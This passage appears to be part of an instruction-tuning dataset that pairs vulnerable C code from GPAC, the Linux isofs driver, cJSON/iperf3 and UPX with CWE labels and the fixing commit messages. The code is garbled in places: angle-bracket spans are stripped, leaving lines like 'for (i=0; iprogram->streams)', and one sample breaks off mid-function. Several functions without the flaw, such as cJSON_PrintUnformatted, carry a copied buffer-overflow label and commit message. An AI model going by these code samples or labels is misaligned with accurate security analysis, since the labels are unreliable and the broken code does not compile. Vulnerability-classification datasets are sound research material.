data[7];\n\t\t\t\t\t\tpes->sub.ancillary_page_id = (data[8]<<8) | data[9];\n\t\t\t\t\t}\n\t\t\t\t\tes->stream_type = GF_M2TS_DVB_SUBTITLE;\n\t\t\t\t\tbreak;\n\t\t\t\tcase GF_M2TS_DVB_STREAM_IDENTIFIER_DESCRIPTOR:\n\t\t\t\t{\n\t\t\t\t\tes->component_tag = data[2];\n\t\t\t\t\tGF_LOG(GF_LOG_DEBUG, GF_LOG_CONTAINER, (\"Component Tag: %d on Program %d\\n\", es->component_tag, es->program->number));\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t\tcase GF_M2TS_DVB_TELETEXT_DESCRIPTOR:\n\t\t\t\t\tes->stream_type = GF_M2TS_DVB_TELETEXT;\n\t\t\t\t\tbreak;\n\t\t\t\tcase GF_M2TS_DVB_VBI_DATA_DESCRIPTOR:\n\t\t\t\t\tes->stream_type = GF_M2TS_DVB_VBI;\n\t\t\t\t\tbreak;\n\t\t\t\tcase GF_M2TS_HIERARCHY_DESCRIPTOR:\n\t\t\t\t\tif (pes) {\n\t\t\t\t\t\tu8 hierarchy_embedded_layer_index;\n\t\t\t\t\t\tGF_BitStream *hbs = gf_bs_new((const char *)data, data_size, GF_BITSTREAM_READ);\n\t\t\t\t\t\t/*u32 skip = */gf_bs_read_int(hbs, 16);\n\t\t\t\t\t\t/*u8 res1 = */gf_bs_read_int(hbs, 1);\n\t\t\t\t\t\t/*u8 temp_scal = */gf_bs_read_int(hbs, 1);\n\t\t\t\t\t\t/*u8 spatial_scal = */gf_bs_read_int(hbs, 1);\n\t\t\t\t\t\t/*u8 quality_scal = */gf_bs_read_int(hbs, 1);\n\t\t\t\t\t\t/*u8 hierarchy_type = */gf_bs_read_int(hbs, 4);\n\t\t\t\t\t\t/*u8 res2 = */gf_bs_read_int(hbs, 2);\n\t\t\t\t\t\t/*u8 hierarchy_layer_index = */gf_bs_read_int(hbs, 6);\n\t\t\t\t\t\t/*u8 tref_not_present = */gf_bs_read_int(hbs, 1);\n\t\t\t\t\t\t/*u8 res3 = */gf_bs_read_int(hbs, 1);\n\t\t\t\t\t\thierarchy_embedded_layer_index = gf_bs_read_int(hbs, 6);\n\t\t\t\t\t\t/*u8 res4 = */gf_bs_read_int(hbs, 2);\n\t\t\t\t\t\t/*u8 hierarchy_channel = */gf_bs_read_int(hbs, 6);\n\t\t\t\t\t\tgf_bs_del(hbs);\n\n\t\t\t\t\t\tpes->depends_on_pid = 1+hierarchy_embedded_layer_index;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase GF_M2TS_METADATA_DESCRIPTOR:\n\t\t\t\t{\n\t\t\t\t\tGF_BitStream *metadatad_bs;\n\t\t\t\t\tGF_M2TS_MetadataDescriptor *metad;\n\t\t\t\t\tmetadatad_bs = gf_bs_new((char *)data+2, len, GF_BITSTREAM_READ);\n\t\t\t\t\tmetad = gf_m2ts_read_metadata_descriptor(metadatad_bs, len);\n\t\t\t\t\tgf_bs_del(metadatad_bs);\n\t\t\t\t\tif (metad->application_format_identifier == GF_M2TS_META_ID3 &&\n\t\t\t\t\t        metad->format_identifier == GF_M2TS_META_ID3) {\n\t\t\t\t\t\t/*HLS ID3 Metadata */\n\t\t\t\t\t\tif (pes) {\n\t\t\t\t\t\t\tpes->metadata_descriptor = metad;\n\t\t\t\t\t\t\tpes->stream_type = GF_M2TS_METADATA_ID3_HLS;\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\t/* don't know what to do with it for now, delete */\n\t\t\t\t\t\tgf_m2ts_metadata_descriptor_del(metad);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\t\tdefault:\n\t\t\t\t\tGF_LOG(GF_LOG_DEBUG, GF_LOG_CONTAINER, (\"[MPEG-2 TS] skipping descriptor (0x%x) not supported\\n\", tag));\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tdata += len+2;\n\t\t\tpos += len+2;\n\t\t\tif (desc_len < len+2) {\n\t\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[MPEG-2 TS] Invalid PMT es descriptor size for PID %d\\n\", pid ) );\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tdesc_len-=len+2;\n\t\t}\n\n\t\tif (es && !es->stream_type) {\n\t\t\tgf_free(es);\n\t\t\tes = NULL;\n\t\t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[MPEG-2 TS] Private Stream type (0x%x) for PID %d not supported\\n\", stream_type, pid ) );\n\t\t}\n\n\t\tif (!es) continue;\n\n\t\tif (ts->ess[pid]) {\n\t\t\t//this is component reuse across programs, overwrite the previously declared stream ...\n\t\t\tif (status & GF_M2TS_TABLE_FOUND) {\n\t\t\t\tGF_LOG(GF_LOG_INFO, GF_LOG_CONTAINER, (\"[MPEG-2 TS] PID %d reused across programs %d and %d, not completely supported\\n\", pid, ts->ess[pid]->program->number, es->program->number ) );\n\n\t\t\t\t//add stream to program but don't reassign the pid table until the stream is playing (>GF_M2TS_PES_FRAMING_SKIP)\n\t\t\t\tgf_list_add(pmt->program->streams, es);\n\t\t\t\tif (!(es->flags & GF_M2TS_ES_IS_SECTION) ) gf_m2ts_set_pes_framing(pes, GF_M2TS_PES_FRAMING_SKIP);\n\n\t\t\t\tnb_es++;\n\t\t\t\t//skip assignment below\n\t\t\t\tes = NULL;\n\t\t\t}\n\t\t\t/*watchout for pmt update - FIXME this likely won't work in most cases*/\n\t\t\telse {\n\n\t\t\t\tGF_M2TS_ES *o_es = ts->ess[es->pid];\n\n\t\t\t\tif ((o_es->stream_type == es->stream_type)\n\t\t\t\t        && ((o_es->flags & GF_M2TS_ES_STATIC_FLAGS_MASK) == (es->flags & GF_M2TS_ES_STATIC_FLAGS_MASK))\n\t\t\t\t        && (o_es->mpeg4_es_id == es->mpeg4_es_id)\n\t\t\t\t        && ((o_es->flags & GF_M2TS_ES_IS_SECTION) || ((GF_M2TS_PES *)o_es)->lang == ((GF_M2TS_PES *)es)->lang)\n\t\t\t\t   ) {\n\t\t\t\t\tgf_free(es);\n\t\t\t\t\tes = NULL;\n\t\t\t\t} else {\n\t\t\t\t\tgf_m2ts_es_del(o_es, ts);\n\t\t\t\t\tts->ess[es->pid] = NULL;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (es) {\n\t\t\tts->ess[es->pid] = es;\n\t\t\tgf_list_add(pmt->program->streams, es);\n\t\t\tif (!(es->flags & GF_M2TS_ES_IS_SECTION) ) gf_m2ts_set_pes_framing(pes, GF_M2TS_PES_FRAMING_SKIP);\n\n\t\t\tnb_es++;\n\t\t}\n\n\t\tif (es->stream_type == GF_M2TS_VIDEO_HEVC) nb_hevc++;\n\t\telse if (es->stream_type == GF_M2TS_VIDEO_HEVC_TEMPORAL) nb_hevc_temp++;\n\t\telse if (es->stream_type == GF_M2TS_VIDEO_SHVC) nb_shvc++;\n\t\telse if (es->stream_type == GF_M2TS_VIDEO_SHVC_TEMPORAL) nb_shvc_temp++;\n\t\telse if (es->stream_type == GF_M2TS_VIDEO_MHVC) nb_mhvc++;\n\t\telse if (es->stream_type == GF_M2TS_VIDEO_MHVC_TEMPORAL) nb_mhvc_temp++;\n\t}\n\n\t//Table 2-139, implied hierarchy indexes\n\tif (nb_hevc_temp + nb_shvc + nb_shvc_temp + nb_mhvc+ nb_mhvc_temp) {\n\t\tfor (i=0; iprogram->streams); i++) {\n\t\t\tGF_M2TS_PES *es = (GF_M2TS_PES *)gf_list_get(pmt->program->streams, i);\n\t\t\tif ( !(es->flags & GF_M2TS_ES_IS_PES)) continue;\n\t\t\tif (es->depends_on_pid) continue;\n\n\t\t\tswitch (es->stream_type) {\n\t\t\tcase GF_M2TS_VIDEO_HEVC_TEMPORAL:\n\t\t\t\tes->depends_on_pid = 1;\n\t\t\t\tbreak;\n\t\t\tcase GF_M2TS_VIDEO_SHVC:\n\t\t\t\tif (!nb_hevc_temp) es->depends_on_pid = 1;\n\t\t\t\telse es->depends_on_pid = 2;\n\t\t\t\tbreak;\n\t\t\tcase GF_M2TS_VIDEO_SHVC_TEMPORAL:\n\t\t\t\tes->depends_on_pid = 3;\n\t\t\t\tbreak;\n\t\t\tcase GF_M2TS_VIDEO_MHVC:\n\t\t\t\tif (!nb_hevc_temp) es->depends_on_pid = 1;\n\t\t\t\telse es->depends_on_pid = 2;\n\t\t\t\tbreak;\n\t\t\tcase GF_M2TS_VIDEO_MHVC_TEMPORAL:\n\t\t\t\tif (!nb_hevc_temp) es->depends_on_pid = 2;\n\t\t\t\telse es->depends_on_pid = 3;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\n\tif (nb_es) {\n\t\tu32 i;\n\n\t\t//translate hierarchy descriptors indexes into PIDs - check whether the PMT-index rules are the same for HEVC\n\t\tfor (i=0; iprogram->streams); i++) {\n\t\t\tGF_M2TS_PES *an_es = NULL;\n\t\t\tGF_M2TS_PES *es = (GF_M2TS_PES *)gf_list_get(pmt->program->streams, i);\n\t\t\tif ( !(es->flags & GF_M2TS_ES_IS_PES)) continue;\n\t\t\tif (!es->depends_on_pid) continue;\n\n\t\t\t//fixeme we are not always assured that hierarchy_layer_index matches the stream index...\n\t\t\t//+1 is because our first stream is the PMT\n\t\t\tan_es =  (GF_M2TS_PES *)gf_list_get(pmt->program->streams, es->depends_on_pid);\n\t\t\tif (an_es) {\n\t\t\t\tes->depends_on_pid = an_es->pid;\n\t\t\t} else {\n\t\t\t\tGF_LOG(GF_LOG_WARNING, GF_LOG_CONTAINER, (\"[M2TS] Wrong dependency index in hierarchy descriptor, assuming non-scalable stream\\n\"));\n\t\t\t\tes->depends_on_pid = 0;\n\t\t\t}\n\t\t}\n\n\t\tevt_type = (status&GF_M2TS_TABLE_FOUND) ? GF_M2TS_EVT_PMT_FOUND : GF_M2TS_EVT_PMT_UPDATE;\n\t\tif (ts->on_event) ts->on_event(ts, evt_type, pmt->program);\n\t} else {\n\t\t/* if we found no new ES it's simply a repeat of the PMT */\n\t\tif (ts->on_event) ts->on_event(ts, GF_M2TS_EVT_PMT_REPEAT, pmt->program);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'fixed potential crash in TS - cf #1264'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: #ifndef GPAC_DISABLE_ISOM_HINTING\n\nvoid dump_isom_sdp(GF_ISOFile *file, char *inName, Bool is_final_name)\n{\n\tconst char *sdp;\n\tu32 size, i;\n\tFILE *dump;\n\n\tif (inName) {\n\t\tchar szBuf[1024];\n\t\tstrcpy(szBuf, inName);\n\t\tif (!is_final_name) {\n\t\t\tchar *ext = strchr(szBuf, '.');\n\t\t\tif (ext) ext[0] = 0;\n\t\t\tstrcat(szBuf, \"_sdp.txt\");\n\t\t}\n\t\tdump = gf_fopen(szBuf, \"wt\");\n\t\tif (!dump) {\n\t\t\tfprintf(stderr, \"Failed to open %s for dumping\\n\", szBuf);\n\t\t\treturn;\n\t\t}\n\t} else {\n\t\tdump = stdout;\n\t\tfprintf(dump, \"* File SDP content *\\n\\n\");\n\t}\n\t//get the movie SDP\n\tgf_isom_sdp_get(file, &sdp, &size);\n\tfprintf(dump, \"%s\", sdp);\n\tfprintf(dump, \"\\r\\n\");\n\n\t//then tracks\n\tfor (i=0; i \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476'], 'message': 'fixed #1566'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: isofs_export_encode_fh(struct inode *inode,\n\t\t       __u32 *fh32,\n\t\t       int *max_len,\n\t\t       struct inode *parent)\n{\n\tstruct iso_inode_info * ei = ISOFS_I(inode);\n\tint len = *max_len;\n\tint type = 1;\n\t__u16 *fh16 = (__u16*)fh32;\n\n\t/*\n\t * WARNING: max_len is 5 for NFSv2.  Because of this\n\t * limitation, we use the lower 16 bits of fh32[1] to hold the\n\t * offset of the inode and the upper 16 bits of fh32[1] to\n\t * hold the offset of the parent.\n\t */\n\tif (parent && (len < 5)) {\n\t\t*max_len = 5;\n\t\treturn 255;\n\t} else if (len < 3) {\n\t\t*max_len = 3;\n\t\treturn 255;\n\t}\n\n\tlen = 3;\n\tfh32[0] = ei->i_iget5_block;\n \tfh16[2] = (__u16)ei->i_iget5_offset;  /* fh16 [sic] */\n\tfh32[2] = inode->i_generation;\n\tif (parent) {\n\t\tstruct iso_inode_info *eparent;\n\t\teparent = ISOFS_I(parent);\n\t\tfh32[3] = eparent->i_iget5_block;\n\t\tfh16[3] = (__u16)eparent->i_iget5_offset;  /* fh16 [sic] */\n\t\tfh32[4] = parent->i_generation;\n\t\tlen = 5;\n\t\ttype = 2;\n\t}\n\t*max_len = len;\n\treturn type;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200'], 'message': 'isofs: avoid info leak on export\n\nFor type 1 the parent_offset member in struct isofs_fid gets copied\nuninitialized to userland. Fix this by initializing it to 0.\n\nSigned-off-by: Mathias Krause \nSigned-off-by: Jan Kara '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static const char *parse_string( cJSON *item, const char *str )\n{\n\tconst char *ptr = str + 1;\n\tchar *ptr2;\n\tchar *out;\n\tint len = 0;\n\tunsigned uc, uc2;\n\n\tif ( *str != '\\\"' ) {\n\t\t/* Not a string! */\n\t\tep = str;\n\t\treturn 0;\n\t}\n\t\n\t/* Skip escaped quotes. */\n\twhile ( *ptr != '\\\"' && *ptr && ++len )\n\t\tif ( *ptr++ == '\\\\' )\n\t\t\tptr++;\n\t\n\tif ( ! ( out = (char*) cJSON_malloc( len + 1 ) ) )\n\t\treturn 0;\n\t\n\tptr = str + 1;\n\tptr2 = out;\n\twhile ( *ptr != '\\\"' && *ptr ) {\n\t\tif ( *ptr != '\\\\' )\n\t\t\t*ptr2++ = *ptr++;\n\t\telse {\n\t\t\tptr++;\n\t\t\tswitch ( *ptr ) {\n\t\t\t\tcase 'b': *ptr2++ ='\\b'; break;\n\t\t\t\tcase 'f': *ptr2++ ='\\f'; break;\n\t\t\t\tcase 'n': *ptr2++ ='\\n'; break;\n\t\t\t\tcase 'r': *ptr2++ ='\\r'; break;\n\t\t\t\tcase 't': *ptr2++ ='\\t'; break;\n\t\t\t\tcase 'u':\n\t\t\t\t\t/* Transcode utf16 to utf8. */\n\t\t\t\t\t/* Get the unicode char. */\n\t\t\t\t\tsscanf( ptr + 1,\"%4x\", &uc );\n\t\t\t\t\tptr += 4;\n\t\t\t\t\t/* Check for invalid. */\n\t\t\t\t\tif ( ( uc >= 0xDC00 && uc <= 0xDFFF ) || uc == 0 )\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t/* UTF16 surrogate pairs. */\n\t\t\t\t\tif ( uc >= 0xD800 && uc <= 0xDBFF ) {\n\t\t\t\t\t\tif ( ptr[1] != '\\\\' || ptr[2] != 'u' )\n\t\t\t\t\t\t\t/* Missing second-half of surrogate. */\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tsscanf( ptr + 3, \"%4x\", &uc2 );\n\t\t\t\t\t\tptr += 6;\n\t\t\t\t\t\tif ( uc2 < 0xDC00 || uc2 > 0xDFFF )\n\t\t\t\t\t\t\t/* Invalid second-half of surrogate. */\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tuc = 0x10000 | ( ( uc & 0x3FF ) << 10 ) | ( uc2 & 0x3FF );\n\t\t\t\t\t}\n\n\t\t\t\t\tlen = 4;\n\t\t\t\t\tif ( uc < 0x80 )\n\t\t\t\t\t\tlen = 1;\n\t\t\t\t\telse if ( uc < 0x800 )\n\t\t\t\t\t\tlen = 2;\n\t\t\t\t\telse if ( uc < 0x10000 )\n\t\t\t\t\t\tlen = 3;\n\t\t\t\t\tptr2 += len;\n\t\t\t\t\t\n\t\t\t\t\tswitch ( len ) {\n\t\t\t\t\t\tcase 4: *--ptr2 = ( ( uc | 0x80) & 0xBF ); uc >>= 6;\n\t\t\t\t\t\tcase 3: *--ptr2 = ( ( uc | 0x80) & 0xBF ); uc >>= 6;\n\t\t\t\t\t\tcase 2: *--ptr2 = ( ( uc | 0x80) & 0xBF ); uc >>= 6;\n\t\t\t\t\t\tcase 1: *--ptr2 = ( uc | firstByteMark[len] );\n\t\t\t\t\t}\n\t\t\t\t\tptr2 += len;\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:  *ptr2++ = *ptr; break;\n\t\t\t}\n\t\t\t++ptr;\n\t\t}\n\t}\n\t*ptr2 = 0;\n\tif ( *ptr == '\\\"' )\n\t\t++ptr;\n\titem->valuestring = out;\n\titem->type = cJSON_String;\n\treturn ptr;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-120', 'CWE-119', 'CWE-787'], 'message': 'Fix a buffer overflow / heap corruption issue that could occur if a\nmalformed JSON string was passed on the control channel.  This issue,\npresent in the cJSON library, was already fixed upstream, so was\naddressed here in iperf3 by importing a newer version of cJSON (plus\nlocal ESnet modifications).\n\nDiscovered and reported by Dave McDaniel, Cisco Talos.\n\nBased on a patch by @dopheide-esnet, with input from @DaveGamble.\n\nCross-references:  TALOS-CAN-0164, ESNET-SECADV-2016-0001,\nCVE-2016-4303\n\n(cherry picked from commit ed94082be27d971a5e1b08b666e2c217cf470a40)\nSigned-off-by: Bruce A. Mah '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: iperf_json_printf(const char *format, ...)\n{\n    cJSON* o;\n    va_list argp;\n    const char *cp;\n    char name[100];\n    char* np;\n    cJSON* j;\n\n    o = cJSON_CreateObject();\n    if (o == NULL)\n        return NULL;\n    va_start(argp, format);\n    np = name;\n    for (cp = format; *cp != '\\0'; ++cp) {\n\tswitch (*cp) {\n\t    case ' ':\n\t    break;\n\t    case ':':\n\t    *np = '\\0';\n\t    break;\n\t    case '%':\n\t    ++cp;\n\t    switch (*cp) {\n\t\tcase 'b':\n\t\tj = cJSON_CreateBool(va_arg(argp, int));\n\t\tbreak;\n\t\tcase 'd':\n\t\tj = cJSON_CreateInt(va_arg(argp, int64_t));\n\t\tbreak;\n\t\tcase 'f':\n\t\tj = cJSON_CreateFloat(va_arg(argp, double));\n\t\tbreak;\n\t\tcase 's':\n\t\tj = cJSON_CreateString(va_arg(argp, char *));\n\t\tbreak;\n\t\tdefault:\n\t\treturn NULL;\n\t    }\n\t    if (j == NULL)\n\t\treturn NULL;\n\t    cJSON_AddItemToObject(o, name, j);\n\t    np = name;\n\t    break;\n\t    default:\n\t    *np++ = *cp;\n\t    break;\n\t}\n    }\n    va_end(argp);\n    return o;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-120', 'CWE-119', 'CWE-787'], 'message': 'Fix a buffer overflow / heap corruption issue that could occur if a\nmalformed JSON string was passed on the control channel.  This issue,\npresent in the cJSON library, was already fixed upstream, so was\naddressed here in iperf3 by importing a newer version of cJSON (plus\nlocal ESnet modifications).\n\nDiscovered and reported by Dave McDaniel, Cisco Talos.\n\nBased on a patch by @dopheide-esnet, with input from @DaveGamble.\n\nCross-references:  TALOS-CAN-0164, ESNET-SECADV-2016-0001,\nCVE-2016-4303\n\n(cherry picked from commit ed94082be27d971a5e1b08b666e2c217cf470a40)\nSigned-off-by: Bruce A. Mah '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static const char *parse_value( cJSON *item, const char *value )\n{\n\tif ( ! value )\n\t\treturn 0;\t/* Fail on null. */\n\tif ( ! strncmp( value, \"null\", 4 ) ) {\n\t\titem->type = cJSON_NULL;\n\t\treturn value + 4;\n\t}\n\tif ( ! strncmp( value, \"false\", 5 ) ) {\n\t\titem->type = cJSON_False;\n\t\treturn value + 5;\n\t}\n\tif ( ! strncmp( value, \"true\", 4 ) ) {\n\t\titem->type = cJSON_True;\n\t\titem->valueint = 1;\n\t\treturn value + 4;\n\t}\n\tif ( *value == '\\\"' )\n\t\treturn parse_string( item, value );\n\tif ( *value == '-' || ( *value >= '0' && *value <= '9' ) )\n\t\treturn parse_number( item, value );\n\tif ( *value == '[' )\n\t\treturn parse_array( item, value );\n\tif ( *value == '{' )\n\t\treturn parse_object( item, value );\n\n\t/* Fail. */\n\tep = value;\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-120', 'CWE-119', 'CWE-787'], 'message': 'Fix a buffer overflow / heap corruption issue that could occur if a\nmalformed JSON string was passed on the control channel.  This issue,\npresent in the cJSON library, was already fixed upstream, so was\naddressed here in iperf3 by importing a newer version of cJSON (plus\nlocal ESnet modifications).\n\nDiscovered and reported by Dave McDaniel, Cisco Talos.\n\nBased on a patch by @dopheide-esnet, with input from @DaveGamble.\n\nCross-references:  TALOS-CAN-0164, ESNET-SECADV-2016-0001,\nCVE-2016-4303\n\n(cherry picked from commit ed94082be27d971a5e1b08b666e2c217cf470a40)\nSigned-off-by: Bruce A. Mah '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: send_parameters(struct iperf_test *test)\n{\n    int r = 0;\n    cJSON *j;\n\n    j = cJSON_CreateObject();\n    if (j == NULL) {\n\ti_errno = IESENDPARAMS;\n\tr = -1;\n    } else {\n\tif (test->protocol->id == Ptcp)\n\t    cJSON_AddTrueToObject(j, \"tcp\");\n\telse if (test->protocol->id == Pudp)\n\t    cJSON_AddTrueToObject(j, \"udp\");\n\tcJSON_AddIntToObject(j, \"omit\", test->omit);\n\tif (test->server_affinity != -1)\n\t    cJSON_AddIntToObject(j, \"server_affinity\", test->server_affinity);\n\tif (test->duration)\n\t    cJSON_AddIntToObject(j, \"time\", test->duration);\n\tif (test->settings->bytes)\n\t    cJSON_AddIntToObject(j, \"num\", test->settings->bytes);\n\tif (test->settings->blocks)\n\t    cJSON_AddIntToObject(j, \"blockcount\", test->settings->blocks);\n\tif (test->settings->mss)\n\t    cJSON_AddIntToObject(j, \"MSS\", test->settings->mss);\n\tif (test->no_delay)\n\t    cJSON_AddTrueToObject(j, \"nodelay\");\n\tcJSON_AddIntToObject(j, \"parallel\", test->num_streams);\n\tif (test->reverse)\n\t    cJSON_AddTrueToObject(j, \"reverse\");\n\tif (test->settings->socket_bufsize)\n\t    cJSON_AddIntToObject(j, \"window\", test->settings->socket_bufsize);\n\tif (test->settings->blksize)\n\t    cJSON_AddIntToObject(j, \"len\", test->settings->blksize);\n\tif (test->settings->rate)\n\t    cJSON_AddIntToObject(j, \"bandwidth\", test->settings->rate);\n\tif (test->settings->burst)\n\t    cJSON_AddIntToObject(j, \"burst\", test->settings->burst);\n\tif (test->settings->tos)\n\t    cJSON_AddIntToObject(j, \"TOS\", test->settings->tos);\n\tif (test->settings->flowlabel)\n\t    cJSON_AddIntToObject(j, \"flowlabel\", test->settings->flowlabel);\n\tif (test->title)\n\t    cJSON_AddStringToObject(j, \"title\", test->title);\n\tif (test->congestion)\n\t    cJSON_AddStringToObject(j, \"congestion\", test->congestion);\n\tif (test->get_server_output)\n\t    cJSON_AddIntToObject(j, \"get_server_output\", iperf_get_test_get_server_output(test));\n\n\tif (test->debug) {\n\t    printf(\"send_parameters:\\n%s\\n\", cJSON_Print(j));\n\t}\n\n\tif (JSON_write(test->ctrl_sck, j) < 0) {\n\t    i_errno = IESENDPARAMS;\n\t    r = -1;\n\t}\n\tcJSON_Delete(j);\n    }\n    return r;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-120', 'CWE-119', 'CWE-787'], 'message': 'Fix a buffer overflow / heap corruption issue that could occur if a\nmalformed JSON string was passed on the control channel.  This issue,\npresent in the cJSON library, was already fixed upstream, so was\naddressed here in iperf3 by importing a newer version of cJSON (plus\nlocal ESnet modifications).\n\nDiscovered and reported by Dave McDaniel, Cisco Talos.\n\nBased on a patch by @dopheide-esnet, with input from @DaveGamble.\n\nCross-references:  TALOS-CAN-0164, ESNET-SECADV-2016-0001,\nCVE-2016-4303\n\n(cherry picked from commit ed94082be27d971a5e1b08b666e2c217cf470a40)\nSigned-off-by: Bruce A. Mah '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: char *cJSON_PrintUnformatted( cJSON *item )\n{\n\treturn print_value( item, 0, 0 );\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-120', 'CWE-119', 'CWE-787'], 'message': 'Fix a buffer overflow / heap corruption issue that could occur if a\nmalformed JSON string was passed on the control channel.  This issue,\npresent in the cJSON library, was already fixed upstream, so was\naddressed here in iperf3 by importing a newer version of cJSON (plus\nlocal ESnet modifications).\n\nDiscovered and reported by Dave McDaniel, Cisco Talos.\n\nBased on a patch by @dopheide-esnet, with input from @DaveGamble.\n\nCross-references:  TALOS-CAN-0164, ESNET-SECADV-2016-0001,\nCVE-2016-4303\n\n(cherry picked from commit ed94082be27d971a5e1b08b666e2c217cf470a40)\nSigned-off-by: Bruce A. Mah '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: PackLinuxElf64::PackLinuxElf64help1(InputFile *f)\n{\n    e_type  = get_te16(&ehdri.e_type);\n    e_phnum = get_te16(&ehdri.e_phnum);\n    e_shnum = get_te16(&ehdri.e_shnum);\n    unsigned const e_phentsize = get_te16(&ehdri.e_phentsize);\n    if (ehdri.e_ident[Elf64_Ehdr::EI_CLASS]!=Elf64_Ehdr::ELFCLASS64\n    || sizeof(Elf64_Phdr) != e_phentsize\n    || (Elf64_Ehdr::ELFDATA2MSB == ehdri.e_ident[Elf64_Ehdr::EI_DATA]\n            && &N_BELE_RTP::be_policy != bele)\n    || (Elf64_Ehdr::ELFDATA2LSB == ehdri.e_ident[Elf64_Ehdr::EI_DATA]\n            && &N_BELE_RTP::le_policy != bele)) {\n        e_phoff = 0;\n        e_shoff = 0;\n        sz_phdrs = 0;\n        return;\n    }\n    if (0==e_phnum) throwCantUnpack(\"0==e_phnum\");\n    e_phoff = get_te64(&ehdri.e_phoff);\n    upx_uint64_t const last_Phdr = e_phoff + e_phnum * sizeof(Elf64_Phdr);\n    if (last_Phdr < e_phoff || (unsigned long)file_size < last_Phdr) {\n        throwCantUnpack(\"bad e_phoff\");\n    }\n    e_shoff = get_te64(&ehdri.e_shoff);\n    upx_uint64_t const last_Shdr = e_shoff + e_shnum * sizeof(Elf64_Shdr);\n    if (last_Shdr < e_shoff || (unsigned long)file_size < last_Shdr) {\n        if (opt->cmd == CMD_COMPRESS) {\n            throwCantUnpack(\"bad e_shoff\");\n        }\n    }\n    sz_phdrs = e_phnum * e_phentsize;\n\n    if (f && Elf64_Ehdr::ET_DYN!=e_type) {\n        unsigned const len = sz_phdrs + e_phoff;\n        alloc_file_image(file_image, len);\n        f->seek(0, SEEK_SET);\n        f->readx(file_image, len);\n        phdri= (Elf64_Phdr       *)(e_phoff + file_image);  // do not free() !!\n    }\n    if (f && Elf64_Ehdr::ET_DYN==e_type) {\n        // The DT_SYMTAB has no designated length.  Read the whole file.\n        alloc_file_image(file_image, file_size);\n        f->seek(0, SEEK_SET);\n        f->readx(file_image, file_size);\n        phdri= (Elf64_Phdr *)(e_phoff + file_image);  // do not free() !!\n        shdri= (Elf64_Shdr *)(e_shoff + file_image);  // do not free() !!\n        if (opt->cmd != CMD_COMPRESS) {\n            shdri = NULL;\n        }\n        sec_dynsym = elf_find_section_type(Elf64_Shdr::SHT_DYNSYM);\n        if (sec_dynsym) {\n            unsigned t = get_te32(&sec_dynsym->sh_link);\n            if (e_shnum <= t)\n                throwCantPack(\"bad dynsym->sh_link\");\n            sec_dynstr = &shdri[t];\n        }\n\n        Elf64_Phdr const *phdr= phdri;\n        for (int j = e_phnum; --j>=0; ++phdr)\n        if (Elf64_Phdr::PT_DYNAMIC==get_te64(&phdr->p_type)) {\n            dynseg= (Elf64_Dyn const *)(check_pt_dynamic(phdr) + file_image);\n            invert_pt_dynamic(dynseg, get_te64(&phdr->p_filesz));\n        }\n        else if (PT_LOAD64==get_te32(&phdr->p_type)) {\n            check_pt_load(phdr);\n        }\n        // elf_find_dynamic() returns 0 if 0==dynseg.\n        dynstr =      (char const *)elf_find_dynamic(Elf64_Dyn::DT_STRTAB);\n        dynsym = (Elf64_Sym const 